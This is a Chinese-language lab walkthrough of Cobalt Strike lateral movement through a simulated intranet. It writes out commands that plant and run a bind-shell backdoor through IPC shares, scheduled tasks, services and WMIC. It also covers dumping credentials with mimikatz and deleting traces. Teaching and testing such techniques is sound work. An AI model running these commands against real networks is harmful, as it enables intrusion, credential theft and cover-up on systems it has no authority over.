CS内网横向移动 模拟渗透实操 超详细
@Webkio
前言:
最近在跟朋友搞一些项目玩,所以最近没怎么更新内容
接下来我将在虚拟中模拟内网多层靶场,进行内网渗透实验,超详细,适合小白。
本文仅供网安学习,不可利用于未授权渗透工作中,否则后果自负。码字截图不易,转载记得署名。
微信关注公众号: JiuZhouSec 不定期更新渗透干货,适合小白学习。九州大地,一起Dayday UP!
模拟内网靶场 进行内网实验 我将从以下几点简述:
【上线边界机器】-【内网渗透】-【横向移动】-【痕迹清除】
实验码字不易,转载文章请署名
实验对象
这边基于之前的文章 对内网网络拓扑进行了新的配置:
工作站:Vmware workstation;Cobalt Strike 4.3
VPS:141.164.40.209
PC1 边界机器:192.168.18.100[NAT];192.168.19.140[仅主机]
PC2 内网机器:192.168.19.142[仅主机 不出网] 192.168.20.129[仅主机 不出网]
PC3 内网机器:192.168.20.128[仅主机 不出网]
操作环境:Windows server 2008 R2 sp1
实验环境须知:无杀软 无拦截
此篇文章仅供 内网模拟攻击 参考。黑客攻击手法通常是建立在免杀绕过的方法上,渗透测试本身就是“逆天而行”的事情。模拟靶机,是为了更直观的发现内网的薄弱点,深化网安价值。
IPC连接简述(445端口共享链接)
IPC 共享命名管道,连接445端口,提供账户密码后,可以进行默认文件共享及资源管理
139 NetBIOS File and Print Sharing 通过这个端口进入的连接试图获得NetBIOS/SMB服务。
利用前提条件:
1. 开放139 445(SMB) 端口 (默认)
2. 目标开启 IPC 共享服务 (默认)
3. 要有管理员账户密码 (默认)
利用方法:
内置工具:IPC+schtasks(写计划任务上线beacon)
schtasks是Windows的网络计划任务
这边利用PC1与PC2简历的IPC连接 写计划任务上线内网机器PC2
利用Windows内置工具是可以尽量绕过杀软,服务查杀的一种手法,仅供参考。
1. 让PC1 边界机器上线
CS建立监听器
2. 生成一个后门 并利用漏洞上传至边界机器PC1 并运行
3. 观察CS视图表 PC1边界机器上线
4. 获取beacon后 进入 并刷新会话时间 ---> sleep 0
5. 这里可以上传Fscan、或者利用CS 内置工具进行内网端口扫描操作
6. 这边对192.168.19.0网段下139,445进行端口扫描
7. 这里通过端口进行了端口存活探测 192.168.19.143的139 445开启
8. 尝试获取目标边界机器的明文密码 (这一步能获取的到就获取 该实验均是在上帝视角下进行)
部分运维人员的边界机器与内网机器为了便于使用 登入密码可能都是同一个密码
9. 利用边界机器PC1 建立与 PC2 192.168.19.143的IPC连接
- shell net use \192.168.19.143 /user:administrator "admin@123"
- 查看已经建立的连接
在模拟环境下 PC2是不出网的 对于不出网的机器 我们可以采取正向shell的方式获取shell
10. 在CS上创建正向监听,创建一个后门通过PC1与PC2建立的IPC连接上传后门程序并执行
上传前的PC2 机器目录下的文件内容:shell dir \192.168.19.143\c$
创建正向监听器: 这边指定的端口 要记好 7228
建立一个无状态的windows后门程序
11. 将在攻击机(本机)上利用CS创建的正向后门上传至PC1
12. 由IPC连接 通过PC1 上传文件至PC2 C盘下
shell dir
shell copy bind.exe \192.168.19.143\c$
13. 写schtasks 计划任务 执行bind.exe 创建计划任务
shell schtasks /create /s 192.168.19.143 /sc MINUTE /tn test /tr "C:\bind.exe"
shell schtasks /create 192.168.19.143 /sc MINUTE /tn test /tr "C:\bind.exe"
指令剖析:
schtasks -指定schtask方法
/create -创建
/s -system权限
/sc -指定创建的类型
/tn -指定计划任务名
/tr -需要运行的程序或命令
/mo -指定程序或命令执行的时间间隔,单位为分钟
因为是正向shell 需要攻击机连接靶机 这里只有PC1可以与PC2建立交互 故在PC1的beacon中建立与PC2的连接 执行如下:
connect 192.168.19.143 7228
PC2成功上线 这里一个小细节 图标后的链接图标 即代表PC2是通过PC1建立的连接
进入beacon
这里我们可以看到在PC2 【192.168.19.143】这台主机下 还有一张192.168.20.132的网卡 我们可以利用以上第五步介绍的方法进行端口探测 再尝试利用PC2建立与PC3的IPC连接 通过PC2使PC3上线
提供步骤思路【就不截图了 码字有点手酸】:
- 判断PC3是否出网 端口扫描139,445端口是否开启
- 利用漏洞或其它方法获取管理员账户密码,或尝试利用边界机器PC1的密码,前面有说过概念。
- 建立PC2与PC3的IPC连接,打通机与机的联系。
- 利用CS或其它手法【webshell管理工具】在PC2文件管理中上传前面创建的正向后门或重新创建一个新的后门程序。
- 通过PC2上传后门
- 写schtasks计划任务,相关指令在上面,认真看的应该在实操了吧。
- PC2连接PC3,connect [target_ip] 等待上线至CS
- 打到PC3后还可以继续端口扫描 查看网卡配置信息
- 横向移动结束。
14. 痕迹清除 删除计划任务
这边创建的计划任务名是什么要记好哦 /tn 指定计划名 删错了就GG了
schtasks /delete /s 192.168.19.143 /tn test /f
内置工具:IPC+SC(services.msc服务控制器)
通过Windows服务的管理策略,创建新的服务,执行后门程序
- 内网渗透的第一步 永远是先利用漏洞让能出网的边界机器 这里是让PC1【192.168.19.140】上线CS
- 通过端口扫描 探测存活IP 是否开启139或445端口 这是建立IPC连接的前提
- logonpasswords 获取明文密码
这边CS中的 logonpasswords 是通过访问本地安全认证子系统服务进程“lsass.exe”获取明文密码
logonpasswords的技术 通过调用 "mimikatz"实现
- 建立IPC连接
shell net use \192.168.19.142 /user:Administrator "admin@123"
- 通过CS的文件管理器上传正向shell至边界机器
- 将bind.exe 通过PC1上传至PC2中去
- 利用IPC连接 在PC1上为PC2 创建一个服务
shell sc \192.168.19.142 create kiotest binpath= 'C:\bind.exe'
这边需要注意一点 SC等于号"=" 和 "值"之间要有空格 这边好像是CS4.3版本的一个小bug
可以详见截图的细节。
这边观察PC2 kiotest这个进程已在不出网的PC2服务策略中生成
这里通过sc qc [服务名] 可以查看对应服务的详细信息
shell sc \192.168.19.142 qc kiotest
- 这边创建的服务需要手动开启 如下:
shell sc \192.168.19.142 kiotest
启动192.168.19.142的kiotest 服务,其实就是让服务去寻找C盘下的bind.exe并启动
这里因为是 图文表述 具体效果 我们可以反复实验以 证明通过IPC连接去创建服务-启动服务的一个过程。
- bind.exe成功运行后 通过PC1连接PC2 上线
connect 192.168.19.142 7228
生成的正向shell 和 反弹shell的端口都要做个记录哦 因为这里的实验都是上帝视角,正常来说我们是不能直接看PC2的图形化界面的。如果忘了端口 不就白打了吗
细心的人应该发现了 上线的是一个192.168.20.0网段的机器。说明该网段下可能还存有PC3、PC4等等。
这里类似于IPC+schtasks的方法 层层递进的进行攻击就好了,思路在上面也能看到
- 最后 痕迹清除
shell sc \192.168.19.142 delete [服务名]
内置工具:IPC+WMIC
WMIC是Windows的远程管理控制器,通过远程管理目标机器,可以直接在目标中进行一些操作
wmic和cmd一样在所有的windows版本中都存在,同时wmic有很多cmd下不方便使用的部分
这边wmic的方法同上 大同小异 方法多多益善
- 同样让边界机器先上线,对边界机器进行内网信息收集,存活探测、配置信息收集、凭据信息等
- 通过凭据信息、存活探测 系统配置 利用边界机器建立与PC2机器的IPC连接
- 建立完IPC连接之后 我们可以利用wmic查询远程机器的进程信息
shell wmic /node:192.168.19.142 process list brief
小技巧:wmic执行一些命令是没有回显结果的 我们可以通过将执行命令的结果写入文件 再查看
shell wmic /node:192.168.19.142 process call create "cmd.exe /c ipconfig > C:\result.txt"
shell type \192.168.19.142\c$\result.txt
生成
- 通过边界机器 创建正向后门并上传至靶机(PC2)
监听
后门
上传语法:shell copy bind.exe \192.168.19.142\c$
当前目录下进行上传“bind.exe” 至 靶机的C盘下
- 通过wmic执行后门 并连接 上线PC2
执行:
shell wmic /node:192.168.19.142 process call create "C:bind.exe"
连接上线:
connect 192.168.19.142 7228
- 痕迹清除 结束进程 并 删除执行程序
利用PC2的beacon结束进程 , 即断开
利用IPC连接删除执行程序
shell del \192.168.19.142\C$\bind.exe
以下简单的介绍两种不常用的内置工具 winrs和WinRM 用法同上三种大同小异
内置工具:winrs(域)
要求:目标机器 5985端口打开,如果没有开,可以手动开启(在渗透测试中不常用)
靶机手动开启 winrm quickconfing -q 【! 网络状态是家庭网络 或 工作网络 才能打开】
内置工具:WinRM( 域 两台机器5985端口都要打开)
在靶机手动开启 winrm quickconfing -q
这两种同是在边界机器沦陷的基础下,进行存活探测,建立IPC连接等,去进行横向移动渗透测试的操作。
过几天整理一篇外部工具的利用。如有错误不足,劳纠正,互相学习,共建网安!
CS内网横向移动 模拟渗透实操 超详细的更多相关文章
- 对国外某hotel的内网域简单渗透
Penetration Testing不单单是一个博客,更热衷于技术分享的平台. 本文将讲述对国外某一hotel的渗透测试,让更多的人安全意识得到提高,有攻才有防,防得在好,也有疏忽的地方,这就是为啥 ...
- kali ms17_010 内网环境下渗透笔记
一.先用Router Scan 扫描 看清楚了网络拓扑结构. 二.使用MS17-010批量扫描工具 下载:ms17-010Scan.exe (也可以用kali自带的nmap和ms17-10模块扫) ...
- activiti官网实例项目activiti-explorer实操详情
参考链接:https://www.xuchuruo.cn/Activiti-modeler%E6%95%B4%E5%90%88%E5%88%B0Spring.html 按照链接文章提示操作完成之后,启 ...
- 5.内网渗透之PTH&PTT&PTK
---------------------------------------------- 本文参考自三好学生-域渗透系列文章 内网渗透之PTH&PTT&PTK PTH(pass-t ...
- 内网安全之横向移动(冰蝎&&msf&&IPC$)
1.冰蝎介绍 冰蝎是一款目前比较流行的Webshell管理工具,在2021年更新的2021.4.20 v3.0 Beta 9 版本中去除了动态密钥协商机制,采用预共享密钥,载荷全程无明文.因其优秀的加 ...
- 内网端口转发[SSH]
一.应用场景 获取到目标边界机器linux服务器一台,想继而向内网其他机器渗透,获取到一台webshell发现处于内网当中且不通外网.可以通过linux ssh隧道对目标内网机器进行访问. 二.利用手 ...
- 烂泥:openvpn tun模式下客户端与内网机器通信
本文由秀依林枫提供友情赞助,首发于烂泥行天下 前两篇文章我们介绍了有关openvpn的搭建与配置文件的讲解,这篇文章我们再聊介绍下,在tun模式下openvpn客户端如何与内网机器通信的问题. 一.实 ...
- Git内网服务搭建全过程
看到一篇搭建git服务器的文章,主要是公司内网搭建的,讲得非常详细,比廖雪峰的要完整,必须赞! http://developer.51cto.com/art/201507/483448.htm
- RENIX报文两个字段嵌套变化——网络测试仪实操
RENIX软件如何实现报文中两个字段嵌套变化,以下为您实操讲解详细步骤. 1.打开Renix软件,连接机框并预约测试端口: 2.创建一条RAW流量(Binding流量也可以,这里用RAW流做例子) 3 ...
随机推荐
- 98. 验证二叉搜索树 前序遍历解法以及后续遍历解法(go语言)
leetcode题目 98. 验证二叉搜索树 前序遍历 最简洁的答案版本,由于先判断的是根节点,所以直接判断当前root的值v,是否满足大于左子树最大,小于右子树最小,然后再遍历左子树,右子树是否是这 ...
- SSH管理多密钥
生成密钥对 ssh-keygen -t rsa -b 4096 -C "your_email@example.com" # 默认情况下在~/.ssh目录下生成id_rsa和id_r ...
- ML第5周学习小结
本周收获 总结一下本周学习内容: 1.学习了<深入浅出Pandas>的第五章:Pandas高级操作的两个内容 数据迭代 函数应用 我的博客链接: pandas:数据迭代.函数应用 2.&l ...
- “摆地摊“都找不到全栈工程师?JNPF帮你分分钟搞定!
大街上捕捉野生程序员 都这样了还找不到全栈工程师 全栈工程师(Full-Stack Engineer)图鉴: 全栈工程师,也叫全端工程师(同时具备前端和后台能力),英文Full Stack deve ...
- PostMan 快快走开, ApiFox 来了, ApiFox 强大的Api调用工具
简介 为什么要用ApiFox呢, 一般现在程序员开发测试, 一般都是PostMan, PostWoman等Api调用工具, 我之前也是一直在用, 但是今天我发现了一款相比于Postman更加好用的工具 ...
- 互联网大厂目标管理OKR实践落地与反思
上一篇「 互联网公司目标管理OKR和绩效考核的误区 」介绍了使用 OKR 时要澄清的一些概念,但是实际使用中又如何呢?我们快手也是很大的互联网公司,大家都是年轻人,思维活跃,容易接受新事物,敢尝试,但 ...
- 关于kali安装输入法
之前老是被kali大小写输入恶心坏了,正好看到一篇文章写kali安装搜狗输入法的,虽然不需要输入中文,但是英文输入就很方便了. 一.切换root用户登录 1.sodu su切换为root权限 2.pa ...
- 基于SqlSugar的开发框架循序渐进介绍(9)-- 结合Winform控件实现字段的权限控制
字段的权限控制,一般就是控制对应角色人员对某个业务对象的一些敏感字段的可访问性:包括可见.可编辑性等处理.本篇随笔结合基于SqlSugar的开发框架进行的字段控制管理介绍. 在设计字段权限的时候,我们 ...
- Elasticsearch学习系列四(聚合搜索)
聚合分析 聚合分析是数据库中重要的功能特性,完成对一个查询的集中数据的聚合计算.如:最大值.最小值.求和.平均值等等.对一个数据集求和,算最大最小值等等,在ES中称为指标聚合,而对数据做类似关系型数据 ...
- Linux安装fastdfs集群部署
过程问题: make: gcc:命令未找到 解决: yum -y install gcc 一.环境和版本: Linux环境:CentOS 7.6 libfastcommon版本:1.0.39 Fast ...